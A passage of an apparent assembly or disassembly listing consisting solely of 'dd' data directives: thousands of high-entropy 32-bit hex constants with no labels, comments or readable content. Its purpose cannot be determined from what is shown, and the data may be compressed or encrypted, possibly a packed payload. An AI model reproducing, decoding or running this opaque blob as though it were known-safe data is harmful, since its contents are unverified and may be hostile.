		dd 4DEE3A5Dh, 5A2B153Fh, 8A6035FBh, 6DAB187Ah, 0C7C8A00Bh
		dd 0C24F5A70h, 54075BE2h, 4C0D3CD3h, 8814C20Ch,	8193AB77h
		dd 0F06E7E20h, 0E5BC790Bh, 0FF8D7A92h, 0C8726341h, 28858758h
		dd 0E89D7F6h, 3F78004h,	835BF804h, 2D2AFFABh, 557C7B51h
		dd 5D63E764h, 19C4D9C7h, 6C9E9916h, 4A8C8535h, 5A544344h
		dd 6CE916D8h, 0EA18217Fh, 0DF1ED418h, 0B4FDEB66h, 81149107h
		dd 2F136B85h, 81DDCD30h, 44A49B5Ah, 885BB88Bh, 6353F2EBh
		dd 50E63B0Ch, 9222410h,	0CDF20115h, 5B9D5E24h, 0D21C0C5Dh
		dd 0BDC8C712h, 6C5BA20Eh, 31662C16h, 63BB42EFh,	7A5F93A6h
		dd 7860845Dh, 27438B94h, 0EB710328h, 76DC3BD8h,	0ED910C00h
		dd 0D22D4941h, 32352620h, 8007A030h, 9A2315CFh,	0EA475C12h
		dd 0ED363D7Eh, 0E325A7Dh, 0B3C081DCh, 0C110255Eh, 0D04E21F9h
		dd 0B90591A2h, 59CB899Eh, 0B0D95BC3h, 4FC8E9CDh, 335E228Ch
		dd 6318F86h, 160DAFCh, 80D4F61Ch, 3B3973E4h, 0F41CB6ECh
		dd 3A94246Fh, 4509D720h, 0B047D368h, 0BC82D254h, 2D246F5Fh
		dd 0A0AB94C7h, 11C32526h, 0FD68E1F7h, 3DC31497h, 212929D3h
		dd 0F0250CAEh, 5E4F5414h, 0B4EEBB63h, 9729DEC9h, 1E5EB91Ah
		dd 0BA52FEE8h, 0F4169F09h, 5178048h, 0EC7A836Fh, 0F73DF2F2h
		dd 90D389E4h, 20C30549h, 85F4460Ch, 397489F3h, 51384D0h
		dd 1BC60534h, 0A9F8477h, 929D7AFCh, 86141E81h, 0F3C7169h
		dd 34412214h, 0C6A617E7h, 4C75F49h, 29033DB1h, 0C3D35EF3h
		dd 7D458A04h, 11840592h, 731ADAA2h, 0C3657E3Eh,	8B080CB5h
		dd 0EA880041h, 4C8A5B59h, 86FA1798h, 0B90126B3h, 6D1C739Dh
		dd 1065F8F5h, 1846B520h, 8270FE5Ah, 164879D4h, 2FF30752h
		dd 122BF89h, 0E1898FDFh, 59AC1163h, 8415429h, 8F28DE66h
		dd 0EF2F6CEAh, 5D163248h, 57036F13h, 0B03759EEh, 32E9CB29h
		dd 4BA02B8Dh, 9FF9DAE0h, 8A606628h, 465482FCh, 8F3DEAABh
		dd 6101AE0Ah, 1EDC18Bh,	0F16EC562h, 0E8F88161h,	0E368175Dh
		dd 0C28F6023h, 52602751h, 9F5F46BCh, 0C7E9137Fh, 468481Ch
		dd 5CFFC039h, 0C5345F30h, 13F0E2B8h, 0FE02FE89h, 89348BF3h
		dd 4B685973h, 0ACE9C6A1h, 0CD413450h, 1A8304B0h, 19ECE9h
		dd 6EC1D7F7h, 0B1C0C6EFh, 2D42959Eh, 0A757500Bh, 5520573h
		dd 0A15F070Fh, 7BC544AAh, 2BDF612Ah, 0E552054Fh, 704B3804h
		dd 0C80C8704h, 8833515Ah, 42FE7EFDh, 935864DCh,	989A6817h
		dd 83A95028h, 80D43056h, 295973C3h, 89E5106Ch, 15B9054Ch
		dd 0EE814213h, 0F9A656A2h, 44814299h, 9C1A2900h, 3E1BDE26h
		dd 280C6C29h, 1C1D0F43h, 5C4C1E37h, 8EB85B3Eh, 598B0B69h
		dd 58C38B89h, 42B55887h, 1E401135h, 8E0B7E3Ah, 0C008E978h
		dd 5D5D687Eh, 3A812F1Dh, 0E133EA49h, 7A1F6DF0h,	0C2D93645h
		dd 0FE032A7Ch, 5E2C0CAh, 4515D7D1h, 9679013Bh, 8826AA4Bh
		dd 3809C30h, 0E78871B4h, 8E7D8ED7h, 0C74CCFFEh,	0AC24F0Eh
		dd 59540CE9h, 0E159122Bh, 52E4F068h, 5C661C9h, 0FFF4234Dh
		dd 60879886h, 14887653h, 43900347h, 2808FAD1h, 762D93FBh
		dd 0E13D285Bh, 0D1975312h, 138CF26Eh, 0FB4C7A01h, 0D4845073h
		dd 440B164Fh, 6440412Dh, 0B025497h, 0B783B4E1h,	0A50020B2h
		dd 0D37479EFh, 0CBFD311Fh, 0C5AD5988h, 4E8DA5E7h, 72058AFEh
		dd 8232A3B6h, 0CA520474h, 33EF4173h, 4F397CDBh,	2915094Eh
		dd 80E88F2h, 802D8526h,	0C8BE0F0Dh, 0C4757D68h,	130A94DBh
		dd 480FD388h, 371212B6h, 54E23203h, 0E98E1571h,	0EA79B95Ah
		dd 69C29E25h, 0D3785142h
		dd 5927F494h, 27CAAF0Ch, 0DF7B52D0h, 0C4E4870Bh, 852F9664h
		dd 265D5455h, 0BB547CD7h, 0F8414A1Ah, 4C15D351h, 0FA2642h
		dd 2C0835Eh, 0B9A52597h, 0EC18ECB1h, 2FF57D01h,	202F5B67h
		dd 5C0242ABh, 6059C36Ch, 77565C8Fh, 6B4BC12h, 73AD2D68h
		dd 9BC17293h, 92696C49h, 0D965E78Ah, 8F29F25Dh,	0C916148Bh
		dd 0BA32C651h, 16884EC6h, 0D2BB62C0h, 3600CE4h,	766A25B5h
		dd 2D2C00CAh, 0C7A4EBFh, 2A5CB805h, 128926FBh, 0E9DA2902h
		dd 3047769Ah, 80B4B267h, 6821C205h, 8F8C0EB7h, 0D7880953h
		dd 0B35870E9h, 0CC69F49Ch, 144E4AFAh, 1B10E05Ch, 0E680C60h
		dd 5B6A216Fh, 0C3B2504Fh, 5F7D49D2h, 5A683D90h,	17BCD599h
		dd 104BF761h, 996E00C5h, 0DD76624Dh, 1195066h, 5029C180h
		dd 0FCEC1BB0h, 0B2EAAB0Fh, 8E248204h, 0CFBF00E5h, 5692505Fh
		dd 0E0690A07h, 59B0094Dh, 0DE78147h, 54756F96h,	579BEC0Eh
		dd 491BE02Ch, 0F07F9902h, 267ECB5Fh, 733054D2h,	0D2A7828h
		dd 3225C6B2h, 724099C2h, 2379F3E9h, 0BC2BF102h,	0F25E25ADh
		dd 0C3400917h, 0EC06A3F3h, 0DA0CC27Bh, 0C8C12217h, 55B068ABh
		dd 930D3D75h, 27FEC276h, 0B1229C68h, 28008214h,	4EEF80F7h
		dd 2CA1CC0Ch, 0F875AA70h, 2BFA25E9h, 706E9A49h,	5166246Fh
		dd 0C1CA0839h, 0BC5B03Eh, 0FAFA015Ah, 424FFBCh,	85AD233h
		dd 5C0F30C4h, 901DCC1h,	1F840FC0h, 836597A7h, 573BFB91h
		dd 8147B82Ch, 0B450C3FEh, 2841E81Ch, 83E6BBBCh,	4233660Ch
		dd 0DD00631h, 72DB89C2h, 0B56B69F1h, 9425B3C4h,	96B69B3Ah
		dd 0F7D0C855h, 1F983500h, 48014FDDh, 0EC2640C1h, 0A13CA544h
		dd 7D17FE81h, 90128F81h, 714C0CDEh, 5F54BD6Fh, 2C91C3D0h
		dd 0E34A53Dh, 59F8E176h, 0D8C1A82Ch, 2BCDF1h, 5052AD91h
		dd 4B18A7B8h, 26C01C17h, 0E94F13DAh, 4A98837Dh,	0E29C0D8Dh
		dd 5C8D11B4h, 10223230h, 511BC0E1h, 93D2A954h, 74920178h
		dd 8C0B3A98h, 8B28FA68h, 0BDFF8087h, 7F623257h,	0B536138h
		dd 205DEE31h, 7DB1F80Eh, 0DAD95996h, 0BB00FB19h, 880B4868h
		dd 0F0A416F6h, 233D8C7Ch, 0DA06956Dh, 0C89C41B9h, 253E1205h
		dd 0D2639359h, 2BEDF229h, 0D53BA53Dh, 4DE84792h, 40ED6B5Ah
		dd 0E45EBBABh, 0D9214818h, 82835BA9h, 68075781h, 5110E73Fh
		dd 552659BCh, 40093963h, 1B80670Bh, 604C5E71h, 21418FB0h
		dd 0F2BC05E3h, 0E140EC28h, 40ED2293h, 0AA09BFA7h, 4A25765Fh
		dd 5CADC07Ch, 0D1B3CE39h, 89CA9BE4h, 1F5FF854h,	587D1BCh
		dd 80CE0411h, 7F141988h, 96F86101h, 0C17073AEh,	2546704Fh
		dd 0CF5C5A3Ah, 1866F01Ch, 0F55C3390h, 30168BCFh, 306068C0h
		dd 42A671B1h, 9DBA5200h, 2602F672h, 0BDE73FE9h,	4ECC9CAh
		dd 4196C1E2h, 5C793F0Ah, 0DE152B22h, 0A21AAD37h, 0AB52EABFh
		dd 0A01DC77Eh, 0EE81DC0Ch, 62D66724h, 0C6F9FEFDh, 0DDB80844h
		dd 3771140Bh, 7EBED400h, 0CAA00F6Bh, 3018E4EEh,	8C0C1725h
		dd 2A4D2018h, 0CDF7D105h, 2C12902h, 1B6D0FF9h, 19166C02h
		dd 850315Ch, 2755AEFEh,	34F8E166h, 0EF7F896Fh, 0B210E35Fh
		dd 30902C9h, 883129DAh,	8B2EFEB5h, 4D2C6BA6h, 0D1DA9BA5h
		dd 3A362ECFh, 1350222h,	0B58471D6h, 82F39B12h, 93DF2348h
		dd 1866F305h, 3E5B4D78h, 9C1CB51Ch, 1EE9C70Dh, 88F08EF1h
		dd 687E251Dh, 2DB41F8Dh, 0A5267A0Eh, 0F69C96Fh,	9B5FB3C4h
		dd 0A002D383h, 5CD2D24Eh, 38880528h, 0BC1A9458h, 627A40Bh
		dd 0C61912F9h, 0BE00A1B1h, 501DA904h, 5B814723h, 0C029A76Ch
		dd 3CF100B6h, 6872D96Fh, 0A553E126h, 40515662h,	79454h
		dd 0EA8154CAh, 113E7906h, 2EB2A790h, 0D5058BEh,	0F7A9C052h
		dd 6242074h, 66272396h,	7B82804Fh, 0ACE4B1F8h, 406B1557h
		dd 466FBD1Ch, 0BBB187Dh, 0EB311A04h, 0A3F2215Dh, 2E95561h
		dd 0D8872511h, 91B66E36h, 0E4F45047h, 275ADCFCh, 984E7529h
		dd 144B5CEBh, 0D0818F88h, 592D6A26h, 5603D144h,	2A6A5168h
		dd 0CBEDDA33h, 3D641231h, 5A808822h, 0F5685B09h, 0B07BC632h
		dd 0B388D246h, 6C33202Ah, 5C0D0631h, 0C6BD18A1h, 14C38F04h
		dd 0F60F1FB6h, 0B4CE95E1h, 8E58816h, 40A5D20Fh,	0B1115813h
		dd 0F4F50D47h, 5076EEFFh, 6A30163Dh, 0B0F0B227h, 0F831FA5Fh
		dd 0CD29165Dh, 7C71E459h, 0BFE575D2h, 788EBBD0h, 0C7294F08h
		dd 5605D181h, 0F001F423h, 0BFFC57F8h, 9D5913DFh, 2DF5F82Dh
		dd 41C80EB2h, 53529598h, 4E266805h, 3A00EC6h, 45C101A0h
		dd 0E9DA89FCh, 53556422h, 0B90256B2h, 58217733h, 71068905h
		dd 42C649B4h, 0F646812h, 0BB53F031h, 0F0020E93h, 0C6F8D8C6h
		dd 215B580Ch, 29683BF0h, 0B9DF0314h, 0EDB4E0ACh, 0FE15608Ch
		dd 0C91595A1h, 8B093B6Ah, 0BFBF795Fh, 0C01C810h, 0B6DF068h
		dd 0DE1F586Fh, 0D7C24B2h, 94FAC84Bh, 0D0F2881Eh, 35794418h
		dd 270E8D0Ch, 2E06D57h,	71DE0C1h, 186FE948h, 1334BA97h
		dd 0C7E1540h, 16B20CBh,	165BF948h, 0F629D07Ah, 1E67666Ch
		dd 50128C6h, 7B95F8Dh, 0DAD9A3E8h, 0B6D99E33h, 25F43E08h
		dd 2E74A79Ah, 0CC4AB989h, 40B6B9CDh, 310CE8C1h,	297AC865h
		dd 2C07B9B8h, 275A66C2h, 1791B253h, 3C27774h, 8CF65632h
		dd 0AC0C10B5h, 10E9305Ch, 5E2D36B6h, 1CA6843h, 5F5BD9E8h
		dd 0D0F7481Eh, 29E5D69Ah, 5F7908BEh, 5AC701AFh,	0FD365059h
		dd 1558C113h, 0A2D13605h, 72F12986h, 0C2F93E20h, 673668E5h
		dd 0B69E06E6h, 59E50BCEh, 43103C9Bh, 9C05A73h, 3E9B3AC3h
		dd 0B3A723AAh, 805A8383h, 107AC1E4h, 0F00F28EFh, 90D8285Ah
		dd 0B25226D6h, 59B008DFh, 8040B61Eh, 0B450F5C6h, 39E4EC73h
		dd 68FC0C4h, 0E8DDDCF6h, 0C1AF4AADh, 288EBF5Ch,	0F729175Ah
		dd 9382CB1Fh, 420B7E1Bh, 8AC8829h, 8DDBD99Fh, 0F657AB6Bh
		dd 878B8044h, 0EB2880D2h, 969FC2B2h, 4E687CAAh,	0DF80CC57h
		dd 13B5CB2h, 7A9797CAh,	71113727h, 22F663F4h, 8DE45859h
		dd 0E4094525h, 156A01Bh, 8812D42Ch, 75347907h, 4E86B9C1h
		dd 38A09B6Eh, 0A314B652h, 3782F388h, 0F25347FDh, 8F2440BAh
		dd 0FCECE617h, 0E7883F53h, 0A1892B27h, 0FF440271h, 0C5D2C8C8h
		dd 0C0D70141h, 1A6C33CFh, 0BFB705Dh, 466011E9h,	2E6292E5h
		dd 0D1D829h, 6AE2748Ah,	5B4B2DE9h, 863D069Dh, 0A5B41ED3h
		dd 6CB88980h, 4800BB2Bh, 22D6368h, 90295E49h, 91D059F3h
		dd 7FE8B902h, 0EBC07B09h, 2527856Ah, 0D6EDE298h, 7E98930h
		dd 0BE0470D0h, 2E627F28h, 404FB7F8h, 7D8EC5DCh,	0F5EC2DF0h
		dd 260FF905h, 308089C7h, 0B05BD931h, 79CB4159h,	50BE041Dh
		dd 0C1874D62h, 0CA0203CDh, 0BF0C7971h, 4124FBC8h, 0B6A4B026h
		dd 127B2D57h, 884FF629h, 0DE678C49h, 506996F4h,	31C07574h
		dd 2D2C53C7h, 0B6297634h, 0EA835011h, 0D2DE12BDh, 366509F7h
		dd 0A8097641h, 620551A9h, 0B2D30107h, 0E50F5779h, 289B30EDh
		dd 89BE98BAh, 443B0D6Dh, 0B201BD63h, 2D21D5E7h,	0F160291Ch
		dd 0C839A95h, 1CA4B17Ch, 382D1A43h, 6B9FEB49h, 120268Dh
		dd 0A10C7B34h, 122D6B29h, 7D96006Eh, 0D13EA74Bh, 0DAE9ED0Ch
		dd 98E7873Fh, 8CD00ECh,	0EE814FD5h, 7B3B322Bh, 33CE003Ah
		dd 0F7340351h, 491CC0DEh, 1CAA428h, 602FE9F2h, 0A581222Ch
		dd 96D7717Fh, 0DFB256FEh, 81832024h, 0CA284271h, 493CD4Fh
		dd 12ABB9BBh, 0FA1D7E9h, 0B8660634h, 49B74C33h,	0BEC68225h
		dd 96EF8124h, 5FA7A46Bh
		dd 0E2D0E332h, 0AAD14D8Bh, 0DA2F2546h, 3B3EB0E1h, 0EB38D14Fh
		dd 0B77720CCh, 2EF80CDh, 0B151504Eh, 9D515339h,	9587662Ch
		dd 0C51B4B1Ch, 806E2897h, 0BF895A0Fh, 5644EAEh,	3A578075h
		dd 7C1E9C0Ah, 7A8E801h,	0B86149Fh, 22DD6855h, 694F0AB0h
		dd 602252Fh, 7F0C6170h,	21D14C51h, 8CE9C80Bh, 949FD5F0h
		dd 96DDFCDBh, 0A402F15h, 0DE0317C2h, 0D63109D8h, 0ECF09A5Ah
		dd 59E916BFh, 691FF2B8h, 444F4A17h, 0DE132CEEh,	40256D7Fh
		dd 181CD476h, 0FE017D17h, 487B078Ah, 0AB2403C6h, 296E0BFEh
		dd 4EAD2860h, 0AF970082h, 0D0C84B7Fh, 9173F92Ch, 6BB251Ah
		dd 54519E09h, 0B46A6659h, 0EC5C647Fh, 4C68E058h, 8156B12Fh
		dd 1726BBFh, 0F781C447h, 0A63AED0Ch, 3FEA0C2Fh,	365DD25Eh
		dd 3EBD373Fh, 1249DAA6h, 38398925h, 0FA0E9B07h,	5685D847h
		dd 34170D50h, 0CD4189C9h, 3E122EC2h, 0E9B9B5D2h, 5520B4A7h
		dd 20C590E5h, 0FA04B7Ch, 650F45B8h, 0ECC15D41h,	25030604h
		dd 588022E9h, 1F57AEBBh, 10CE445Ch, 831659CFh, 367252EDh
		dd 6500D463h, 0BD640608h, 49E0242h, 0E9D5010Eh,	4E67BC3Ch
		dd 6AAE9929h, 6BB4279Dh, 20DE29C4h, 31D2B900h, 42B81A09h
		dd 0F22EEE0Ch, 5760C15h, 2958807Fh, 0A3BEA4CFh,	0F2533560h
		dd 76B06F4Eh, 94E2054Bh, 0C25D5430h, 5607DABEh,	7BD0F864h
		dd 9C5C4168h, 38E9780Bh, 5934E165h, 564EF8BCh, 67C809CFh
		dd 0D02DB9C1h, 7A752102h, 351E6C09h, 69442EF9h,	799339F1h
		dd 10C48014h, 402DE203h, 0C57E201h, 4820C08h, 0E96EEC45h
		dd 2019A151h, 0BBB61F54h, 17EBC52Fh, 0B1DAC018h, 0C13D8023h
		dd 5BCE3B1Dh, 34E1A434h, 0A46943F0h, 10F11495h,	0AE108988h
		dd 0DE011933h, 0BEE02B5Ch, 16F69873h, 6052D66h,	3C1B8E72h
		dd 2F28519Bh, 9E6BED49h, 3075C009h, 5158595h, 0B6E93F35h
		dd 0A2C9A80Eh, 0B5DFC8CFh, 0EA28246Ah, 0BD3173Fh, 5CCE5603h
		dd 0D04FF7F6h, 2C68C888h, 0CB39382Bh, 71C4DA93h, 16A1EE01h
		dd 3D528887h, 5D02907h,	3B700A20h, 14C3EC5Ah, 15359F40h
		dd 5A775710h, 0CA51DA83h, 9070DA27h, 13BE5AFBh,	6AE4CDCAh
		dd 42D38C49h, 0E97ED92Dh, 54B111C5h, 2D81727Bh,	6D1820EDh
		dd 0F50661B3h, 6C0BE7E4h, 805DEB29h, 0D63D8B04h, 0FB010945h
		dd 58805350h, 5B081758h, 4A53C095h, 0D728802Fh,	0EFC05A1Fh
		dd 590865A4h, 68E8310Dh, 0A8122FC9h, 509F25A2h,	6C1050E3h
		dd 3A8FED02h, 605EF201h, 3C368BA6h, 0D1A466B3h,	0F80820D3h
		dd 0AF09B314h, 0D4053123h, 5DE8C513h, 1A0BEF4h,	89677673h
		dd 0F3582047h, 9F0549B7h, 0F7FFD3DFh, 0D2CF81A8h, 4CD87824h
		dd 0E9408h, 377B4235h, 0C54C0121h, 0CBE62A82h, 4A4E6B90h
		dd 0F39708C5h, 0E94B3FE5h, 0D089075Bh, 6099C725h, 0A537173Fh
		dd 3BC801DFh, 0D0010164h, 0DA2C396Fh, 1321ED67h, 82E98F1Eh
		dd 4C85088h, 9811B568h,	7917CD9Ah, 680C5443h, 43EC25DDh
		dd 20535849h, 0D9314C47h, 0F5E78101h, 0F358A419h, 0DE7B0F0Bh
		dd 4682831Dh, 4EC7D4E9h, 0C7B2A52Eh, 0A327E3B9h, 7FB89000h
		dd 357A7611h, 6658F12Dh, 93B594DAh, 0BE50E0BBh,	0DA9FE103h
		dd 0E7F30171h, 0E6B7493Bh, 9080D470h, 0E50DA025h, 9A48393Eh
		dd 526F2D79h, 0DF93C298h, 0A314ED7h, 533B59CEh,	0AC065CEh
		dd 9297CBB9h, 8B6809F6h, 628216C2h, 0B1477A1Ch,	0E9090211h
		dd 0BE90F0F6h, 0A905667Dh, 5DEE293Bh, 443212DDh, 50B52E12h
		dd 0C56B617h, 1A82552Ch, 97F05B01h, 0C5437B2Ah,	0E6FA0BA2h
		dd 1A522326h, 0F8E47F6Ah, 72252694h, 0EA344D22h, 0EAFBF435h
		dd 9BE52DF4h, 25F16908h, 17628B71h, 0BC8CD9B7h,	9B6AAFACh
		dd 0EA22CF58h, 0F8D65CC5h, 7D72F258h, 195530F2h, 3461C779h
		dd 5E1F37E2h, 0D6895750h, 834B22C2h, 8601A0Ah, 0BB2423E1h
		dd 8E2D246Fh, 2ED6283h,	53CE045h, 6AD56D87h, 0B8E9E808h
		dd 8ABFA7C4h, 225B4C3h,	5302B472h, 0F9E03140h, 40F1E6C1h
		dd 0CF66E9BEh, 28005BBAh, 8103CB01h, 24113FE3h,	22470DFAh
		dd 518F81C7h, 0C5526528h, 0B3E830C4h, 0EB800E3Eh, 970B3766h
		dd 0B0DCD242h, 3C6541DAh, 0CBD6C91Ch, 20C9AE6h,	0BB7CEBC1h
		dd 0A50ABC2Ch, 0AA25DD90h, 0C0001974h, 0C176464Ch, 4A082CEAh
		dd 4BC71FC1h, 56804D6Fh, 6BD0629Eh, 0D072E939h,	56412C60h
		dd 0B514120h, 67835B9h,	0EB1FA602h, 0B801EEA9h,	0DA5B1B45h
		dd 0BA013641h, 0A1151F14h, 13528753h, 0CDE9A589h, 8003068h
		dd 0D9F658C1h, 37DE1C0h, 0E55D5335h, 5635B5ADh,	79E9A186h
		dd 0DB30B556h, 0F4252E5h, 0DDF74DA3h, 133BF501h, 0BF40CE36h
		dd 0E92C78AFh, 5D0265D1h, 83A5BE56h, 4C683387h,	4C69C84Bh
		dd 82581674h, 0B9068642h, 27806002h, 650A008Ah,	0CE2941D7h
		dd 5F9183E9h, 8F5CCF80h, 90E7C17Fh, 0BE65B7Ah, 1272BD2Bh
		dd 192F30C8h, 6DD4F05Fh, 28610576h, 86C348FEh, 0C10D5B5Dh
		dd 3ADEE90Ah, 0DE5EC913h, 5BB86C12h, 4976EB56h,	90D2F1EAh
		dd 2AA2BA32h, 4213E004h, 0A3E176E9h, 94D2AF68h,	6FCC0CB4h
		dd 0EB12C34Fh, 0F04700Dh, 0B2F2CCD2h, 8A3CB51Eh, 89960533h
		dd 0B89A62E2h, 0E90625F9h, 77635A8Fh, 5314ED6h,	83C129A6h
		dd 6B035913h, 588069F3h, 5BDEE973h, 9D92E821h, 51BD5Ah
		dd 0FE2F3BC6h, 4BB53E8h, 6CC76D60h, 488804Bh, 0D81FCB81h
		dd 0F701C361h, 613E9DBh, 0EFF55F81h, 20517A18h,	0C8E4640Bh
		dd 5CC0E564h, 18C5018h,	0E94F7F39h, 9028E80h, 0C7847908h
		dd 949839BBh, 450B712Eh, 5A7EE91Eh, 5738A133h, 0A733330h
		dd 0F80942CDh, 1A5409F7h, 66D909A2h, 2119D79h, 0C7F1800Bh
		dd 0B73E1984h, 72E7B8Ch, 45C90044h, 0C2642925h,	482945BBh
		dd 62061CABh, 5AD542E6h, 8B25D078h, 0FA9B9461h,	70380B7Ch
		dd 0B7005773h, 667232C5h, 0E160E916h, 7F68849Ch, 71989549h
		dd 0B50D3D88h, 0B8C353Eh, 0E9089638h, 5D14168Dh, 74A00AFFh
		dd 0E0B91EBh, 2CF8D11Eh, 4F211720h, 2356899Eh, 0AAB47D2Eh
		dd 0B8504D70h, 1B72001Dh, 8DE7B932h, 0B1BCCDE4h, 0C124F726h
		dd 0AF8C652Fh, 0C6FA8ECCh, 9721B9Ch, 629251ADh,	0C851B010h
		dd 0C2315815h, 0AFFA16E9h, 43980912h, 43B40971h, 0C787F39h
		dd 0A44DE103h, 41C7293Fh, 9B14081Ch, 84E43112h,	360360E7h
		dd 0C6CF681Ah, 5FFB8900h, 0E95AD331h, 11AF4CC4h, 560656B4h
		dd 0E924441Eh, 0A5EBEBAh, 17E313FDh, 5BBC2701h,	942F429Ah
		dd 0A9081066h, 0E955FA02h, 2AFE2BB4h, 0ACD259C3h, 0E583349h
		dd 0A780015Ch, 0F9E85BE2h, 382C3C68h, 1E6AC33h,	6846D5EDh
		dd 0EEDEF139h, 52E7E874h, 0D44C5EE2h, 2706099h,	81023F0Dh
		dd 0DD08C7F6h, 1E627Ah,	7BD4EE92h, 1E6160ABh, 0FFB39D5Bh
		dd 152E91Ah, 7D43C145h,	0D0ADE554h, 439749DFh, 7CC9F9F9h
		dd 9C8EC9C6h, 49812E4Eh, 8955F181h, 6036E90Dh, 3C4F091Dh
		dd 2AA5591Ch, 0E2C0AD82h, 0B1EC88C3h, 0A6CE6821h, 0D9024F0Ch
		dd 50227050h, 0E0E2E914h, 0A7D3CAA4h, 3AAEC588h, 0B90BC0B0h
		dd 1E2464AFh, 0BE024E4Bh, 0F816FB6Ah, 2CAEDD57h, 0A5B40FCCh
		dd 0B0237C29h, 0EAE2EB01h, 0A3BF36C8h, 143B6914h, 432209Dh
		dd 0B7343068h, 96D3E940h, 1BA5A6B1h, 9973CF0h, 4204DB67h
		dd 70B40ABh, 4EFB69BCh,	3B19A3ABh, 3916BECBh, 0F6F30088h
		dd 3DF90C9Bh, 412E0CC1h, 0F94053C1h, 90B07458h,	266F2C52h
		dd 0B45060E5h, 7812B10Eh
		dd 0AA71E130h, 4A6584E9h, 9FB27945h, 73685680h,	0EAA1311Fh
		dd 188828F5h, 4F0D3F7h,	0A0DF0106h, 891A0D05h, 3664D444h
		dd 1415535Ch, 75072DD8h, 766011A2h, 129706C1h, 471AC163h
		dd 0FCE82101h, 66C0EE8Ah, 98BB43BAh, 216B8CCh, 27C439ACh
		dd 0C9D050E9h, 73285A5Ah, 0D0861EB0h, 0F0CDD4E8h, 0AFF7282Eh
		dd 0D8D460C6h, 0B4EFE33Ah, 4E58BC65h, 0CA857C34h, 0E9C200E2h
		dd 6D74096Bh, 7EF0CD44h, 45AE0AB8h, 12F74EE1h, 0E8769941h
		dd 2AB1D4CEh, 29360762h, 3335523h, 71741B00h, 0F75921E4h
		dd 0F9898D9h, 7F4A2FCAh, 0B954D00Fh, 0FF847604h, 4516AF85h
		dd 0A9AD7EC4h, 34E684h,	0A0906BBFh, 4E4BF473h, 0E9B4D910h
		dd 0A7C4571Ch, 0EFDB72F3h, 56DFC8E8h, 0F2409CFEh, 1DB02A68h
		dd 0D01CDC58h, 9D84AC4h, 148B27D7h, 0CBA45Bh, 0A731B122h
		dd 0CCFF815h, 3AC967EEh, 7A265C0Ch, 0F70178D1h,	683D0279h
		dd 0CA070A60h, 5E10606h, 0C1B0BFFCh, 295FFE6Bh,	0D633339Ch
		dd 0D066431h, 0D52B84E9h, 0C62CF2C8h, 7FFE7E9h,	0B151DFF6h
		dd 0ADF3A3B9h, 895A1416h, 0F9215004h, 812EE5A1h, 8B95124h
		dd 97C30481h, 0BE40B038h, 0C211D409h, 2F4B0ACAh, 0E945B8A5h
		dd 0CDA0BDA3h, 3074B753h, 4016FD6Bh, 96C6213Bh,	0D6F750B9h
		dd 403464Ch, 44B9A69Eh,	0CCBC2F84h, 33B8214Ah, 0A2403AACh
		dd 2DBF5D5Fh, 5EBB925Ah, 0C123015Ch, 404E02EEh,	13BB58CBh
		dd 46C4FE4Bh, 4FBACE00h, 5E315A53h, 282CCDFBh, 0AAE9C2C9h
		dd 0CFFAAE31h, 0DF35045Dh, 9945748Ah, 135DDF2Bh, 0E9125456h
		dd 845A184Ch, 5031728h,	0F50FC05Dh, 30017A7Dh, 0E902EFC1h
		dd 7E365CDFh, 29BC2D79h, 32DA06BBh, 43ED458h, 28411E1Ch
		dd 0E0FF743Bh, 622DE953h, 662B383Ch, 91BB4B0Fh,	1AB8C46h
		dd 9FDD8058h, 16F1C1CCh, 0A059CB28h, 4C40438Ch,	66552A68h
		dd 12B630EFh, 0E7DCC7EFh, 0A5BFED3Dh, 2F48C56Ah, 0C3800F21h
		dd 73EBCC40h, 1075DBE1h, 5DDC6815h, 40B11B75h, 2E20277Dh
		dd 13D25762h, 0D837B6B4h, 3F175ACBh, 1812B0EBh,	73C8F866h
		dd 1189F05Bh, 0ABB6942Fh, 30C13574h, 0CF954F72h, 0B34B820Ah
		dd 32348F51h, 4B4E0FCh,	94864CBh, 0A47D18BDh, 0DF3BCB51h
		dd 11671402h, 0B18BE40Bh, 56556548h, 0C5E10021h, 11FA16Fh
		dd 81604EDh, 2D24DD08h,	0EA3D1D60h, 4F3A6880h, 1F9E8C43h
		dd 7D0B270Ch, 39D45C50h, 0B8020A11h, 69726BDFh,	484EABD8h
		dd 6801DF1h, 35E0D107h,	6C050D43h, 1661E999h, 0C8A754BCh
		dd 5C0C8742h, 931A6960h, 0C00A1E76h, 0D440D3AAh, 0B803BF53h
		dd 9E565028h, 95C69AB5h, 0CF3CCE0Fh, 3B84CE88h,	554FBBB9h
		dd 5BD9432Fh, 0C58FE7D0h, 5C35215h, 41FC636Fh, 0A094C288h
		dd 0F040CB9Fh, 48E60968h, 0DE4B6150h, 2AA8D9Eh,	88BA4A40h
		dd 305BFE09h, 0C27DF6F0h, 0CEE6DBC1h, 6607C8E0h, 53C33059h
		dd 544787F2h, 0DE8F790Ah, 825B1F7Eh, 0EEC00907h, 6909CA81h
		dd 8032306Ch, 293715B7h, 89415836h, 0D139EE59h,	725BCD0h
		dd 31727059h, 0D32952CAh, 5FD63C1h, 0E2A7D2ACh,	25E65093h
		dd 2B206498h, 68AD3DC0h, 0EEF63AA0h, 0C525A294h, 91EF902Ah
		dd 8E734C81h, 0C5F2A9EEh, 345D1657h, 4E3BC8Ch, 0B1D9E952h
		dd 0FA01AB99h, 0F5342EC4h, 830D00D8h, 404CF472h, 445EEE68h
		dd 7D9D7030h, 0E9651C2Eh, 0FBFA0F4h, 18F806CAh,	1F12D377h
		dd 23F20399h, 0BEFA66D3h, 0A1B979C8h, 417A67B8h, 76D0534Fh
		dd 3D450BC3h, 20A534B3h, 3BD3EE09h, 6BCC5397h, 3D3B60B5h
		dd 0B440C8EEh, 4434157Bh, 50B3DDFCh, 6802BCD4h,	7E6C3A25h
		dd 0B8503654h, 93C53DDDh, 8C32D0Bh, 0E4581309h,	0A1850782h
		dd 0C0DE2772h, 0C6146F5h, 4D1D2D76h, 8423459h, 571A5A2Bh
		dd 7D5E7682h, 0F83026Ch, 535D5816h, 13423C01h, 3B386BC3h
		dd 81DBF700h, 0A30C4BCBh, 68E91413h, 0B2FB91E1h, 1C567E78h
		dd 70EF06BEh, 6900422Fh, 4F231D0Bh, 9CBD90E9h, 666861A3h
		dd 0E88D3F30h, 515E1B92h, 5782AEAEh, 0CB7E2FE9h, 0C01A581Ah
		dd 27516198h, 7470E3C1h, 43F93309h, 2DA4D699h, 1C8576E0h
		dd 0BF40C35Ah, 10573FBCh, 657F14BAh, 0DE249B36h, 69B68033h
		dd 8003EEC0h, 0FEBAE613h, 507B3004h, 0ADE634FEh, 0FEE982F6h
